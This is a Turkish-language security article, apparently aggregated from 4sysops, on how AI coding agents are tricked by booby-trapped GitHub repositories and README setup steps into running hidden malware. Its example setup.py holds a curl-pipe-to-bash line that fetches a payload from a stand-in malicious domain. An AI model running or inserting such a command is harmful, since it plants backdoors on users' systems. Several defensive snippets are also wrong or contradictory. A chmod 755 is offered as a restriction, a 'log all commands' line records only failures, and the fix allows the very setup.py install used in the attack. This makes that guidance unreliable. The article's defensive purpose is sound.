Ağ & NetworkOrta

AI Kodlama Ajanlarının GitHub Üzerinden Gizli Zararlı Yazılım Yürütme Riski

Otonom AI kodlama ajanları, temiz görünen GitHub depolarındaki komutlarla kandırılarak gizli zararlı yazılımları çalıştırmaya zorlanabiliyor. Bu saldırı yöntemi, ajanların otomatik hataları düzeltme davranışını istismar eder.

4
4sysops
1 görüntülenme
AI Kodlama Ajanlarının GitHub Üzerinden Gizli Zararlı Yazılım Yürütme Riski

Giriş

Otonom AI kodlama ajanları (örneğin, otomatik kod tamamlama, hata düzeltme veya bağımlılık kurulumu yapan sistemler), yazılım geliştirme süreçlerini hızlandırmak amacıyla yaygın olarak kullanılmaktadır. Ancak, Security Researchers tarafından keşfedilen yeni bir saldırı tekniği, bu ajanların gizli zararlı yazılım yürütme riskine maruz kaldığını ortaya koymaktadır. Saldırganlar, ajanların hedefe yönelik davranışlarını istismar ederek, görünüşte temiz olan GitHub depolarından zararlı komutları otomatik olarak çalıştırmalarını sağlayabiliyor.

Saldırının Arka Planı ve Tehdit Modeli

Saldırı Vektörü

Saldırganlar, aşağıdaki adımlarla ajanları hedef alır:

  1. Hedef Depo Oluşturma: Saldırgan, ajanların otomatik olarak komut çalıştırmasını tetikleyecek şekilde tasarlanmış bir GitHub deposu oluşturur. Depo, genellikle popüler bir projenin kopyası gibi görünür ve README.md dosyasında kurulum talimatları içerir.
  2. Hata Enjeksiyonu: Depoda, ajanların otomatik olarak çözmeye çalışacağı sahte hatalar bulunur. Örneğin, eksik bağımlılıklar, yanlış yapılandırılmış requirements.txt veya package.json dosyaları gibi.
  3. Zararlı Komutlar: Depodaki kurulum talimatları, ajanların otomatik olarak çalıştırması için tasarlanmış zararlı komutlar içerir. Bu komutlar, genellikle gizli ve doğrudan zararlı kod içermediğinden, statik analiz araçları ve insan incelemeleri tarafından tespit edilemez.
  4. Otomatik Yürütme: Ajan, hataları düzeltmek amacıyla komutları çalıştırır ve böylece zararlı yazılımın sistemde yürütülmesini sağlar.

Tehdit Modelinin Önemi

Bu saldırı yöntemi, aşağıdaki nedenlerden dolayı oldukça tehlikelidir:

  • Görünmezlik: Depoda doğrudan zararlı kod bulunmadığından, statik analiz araçları (örneğin, grep, bandit, semgrep) tarafından tespit edilemez.
  • Otomatiklik: Ajanlar, insan müdahalesi olmadan komutları çalıştırdığından, saldırı otomatik ve yaygın hale gelir.
  • Yaygınlık: GitHub gibi platformlarda barındırılan depoların büyük bir kısmı, otomatik ajanlar tarafından taranmaktadır. Bu da saldırının geniş bir hedef kitlesine ulaşmasını sağlar.

Saldırıya Karşı Koruma ve Önlemler

1. Ajanların Güvenilirliği ve Kısıtlamalar

Ajanların çalıştığı ortamda aşağıdaki güvenlik önlemleri uygulanmalıdır:

  1. Kısıtlı Ortamlar: Ajanların çalıştığı sandbox veya izole edilmiş ortamlar kullanılmalıdır. Bu, zararlı komutların sistem genelinde yayılmasını engeller. 
    # Docker kullanarak izole bir ortam oluşturma
sudo docker run -it --rm --name ai-agent sandbox-image /bin/bash
  2. İzin Kontrolleri: Ajanların çalıştırabileceği komutlar sıkı bir şekilde kısıtlanmalıdır. Örneğin, sadece pip install veya npm install gibi güvenilir komutlara izin verilmelidir. 
    # Ajanların çalıştırabileceği komutları sınırlama (örnek: sadece pip install)
chmod 755 /usr/bin/pip
chmod 755 /usr/bin/npm
  3. Güvenilir Kaynaklardan Yalnızca Kurulum: Ajanlar, yalnızca doğrulanmış kaynaklardan (örneğin, PyPI, npm) paket kurulumuna izin vermelidir. Üçüncü taraf depolar veya özel komut dosyaları engellenmelidir. 
    # pip.conf dosyasına güvenilir kaynakları ekleme
echo "[global]" >> /etc/pip.conf
echo "trusted-host = pypi.org files.pythonhosted.org" >> /etc/pip.conf

2. Depo ve Komutların Doğrulanması

Ajanların indirdiği depolar ve çalıştırdığı komutlar, aşağıdaki yöntemlerle doğrulanmalıdır:

  1. Depo İmzası ve Doğrulaması: GitHub depoları, GPG imzaları veya SHA-256 hash'leri ile doğrulanmalıdır. Ajanlar, yalnızca imzası doğrulanmış depoları kabul etmelidir. 
    # GitHub deposunun SHA-256 hash'ini doğrulama
echo "depo_hash  depodaki_sha256_hash" | sha256sum -c -
  2. Statik Analiz Araçları: Depodaki komut dosyaları (setup.py, install.sh vb.), zararlı kod tespit araçları ile taranmalıdır. Örneğin:
    • Bandit (Python güvenlik analizi)
    • Semgrep (genel kod analizi)
    • Flake8 (Python kod kalitesi ve güvenliği)
    # Bandit ile Python dosyalarını analiz etme
bandit -r /path/to/repository/
  3. İnsan İncelemesi: Kritik projelerde, otomatik ajanlar tarafından indirilen depolar insanlar tarafından da incelenmelidir. Özellikle README.md ve kurulum talimatları dikkatlice kontrol edilmelidir.

3. Ajanların Davranışının İzlenmesi ve Kayıt Altına Alınması

Ajanların çalışma sürecinde aşağıdaki izleme yöntemleri uygulanmalıdır:

  1. Komut Geçmişi ve Logları: Ajanların çalıştırdığı tüm komutlar detaylı olarak kayıt altına alınmalıdır. Bu, saldırı tespiti ve sonrasında yapılacak incelemeler için kritiktir. 
    # Tüm komutların loglanması (örnek: bash_history)
PROMPT_COMMAND='if [ $? -ne 0 ]; then logger "Failed command: $BASH_COMMAND"; fi'
  2. Sistem Çağrıları ve Ağ Aktivitesi: Ajanların yaptığı sistem çağrıları ve ağ aktiviteleri izlenmelidir. Anormal aktiviteler tespit edildiğinde uyarı verilmelidir. 
    # Sysdig kullanarak ajan aktivitesini izleme
sudo sysdig -c topcontainers_cpu
  3. Zamanlanmış Kontroller: Ajanların çalıştırdığı komutlar, periyodik olarak kontrol edilmelidir. Örneğin, her çalıştırma sonrası komut listesi karşılaştırılmalıdır.

4. Acil Durum Planları ve Müdahale

Saldırı tespit edildiğinde aşağıdaki adımlar izlenmelidir:

  1. Sistem İzolasyonu: Etkilenen sistemler hemen izole edilmelidir ve ağdan ayrılmalıdır.
  2. Logların Toplanması: Tüm komut geçmişi, sistem logları ve ağ aktivitesi logları güvenli bir şekilde toplanmalıdır.
  3. Zararlı Yazılım Analizi: Toplanan veriler, zararlı yazılım analizi araçları kullanılarak incelenmelidir. Örneğin:
  4. Sistem Temizliği: Etkilenen sistemler, tüm zararlı yazılımlardan arındırılmalıdır. Bu, sistemin yeniden kurulumunu da içerebilir.

Örnek Senaryo: Saldırı ve Korunma

Saldırı Senaryosu

Bir geliştirici, popüler bir Python kütüphanesi olan numpy için bir GitHub deposu keşfeder. Depo, README.md dosyasında aşağıdaki kurulum talimatlarını içerir:

# Kurulum
pip install numpy
python setup.py install

Ancak, setup.py dosyası aslında aşağıdaki gizli komutu çalıştırır:

import os
os.system("curl -s https://malicious-domain.com/payload.sh | bash")

Ajan, setup.py dosyasını çalıştırdığında, zararlı komut otomatik olarak yürütülür ve sistemde gizli bir arka kapı oluşturulur.

Korunma Adımları

Yukarıdaki saldırıdan korunmak için aşağıdaki adımlar uygulanabilir:

  1. Ajanın Çalıştırıldığı Ortamı İzole Et: Ajan, bir Docker konteynerinde çalıştırılmalıdır.
  2. Komutları Kısıtla: Ajanın yalnızca pip install ve python setup.py install gibi güvenilir komutları çalıştırmasına izin ver.
  3. Depoyu Doğrula: Depodaki setup.py dosyasını bandit ile analiz et: 
    bandit -r /path/to/numpy-repo/
  4. Sistem Loglarını İzle: Ajanın çalıştırdığı tüm komutları kayıt altına al ve anormal aktiviteleri tespit et.

Sonuç ve Öneriler

AI kodlama ajanları, yazılım geliştirme süreçlerini büyük ölçüde kolaylaştırsa da, güvenlik riskleri de beraberinde getirmektedir. Bu saldırı yöntemi, ajanların otomatik ve hedefe yönelik davranışlarını istismar etmektedir. Geliştiriciler ve güvenlik ekipleri, aşağıdaki önerileri dikkate almalıdır:

  • Ajanların çalıştığı ortamları izole edin ve kısıtlayın.
  • Depoları ve komutları doğrulayın ve analiz edin.
  • Ajanların aktivitelerini sürekli olarak izleyin ve kayıt altına alın.
  • Aciliyet durumunda müdahale planları oluşturun.

Uyarı: Bu saldırı yöntemi, yalnızca AI kodlama ajanlarını değil, aynı zamanda otonom sistemleri ve otomasyon araçlarını da hedef alabilir. Güvenlik ekiplerinin, bu tür saldırılara karşı proaktif önlemler alması kritik önem taşımaktadır.

Kaynaklar ve İleri Okuma

Kaynak

4sysops
İlgili Makaleler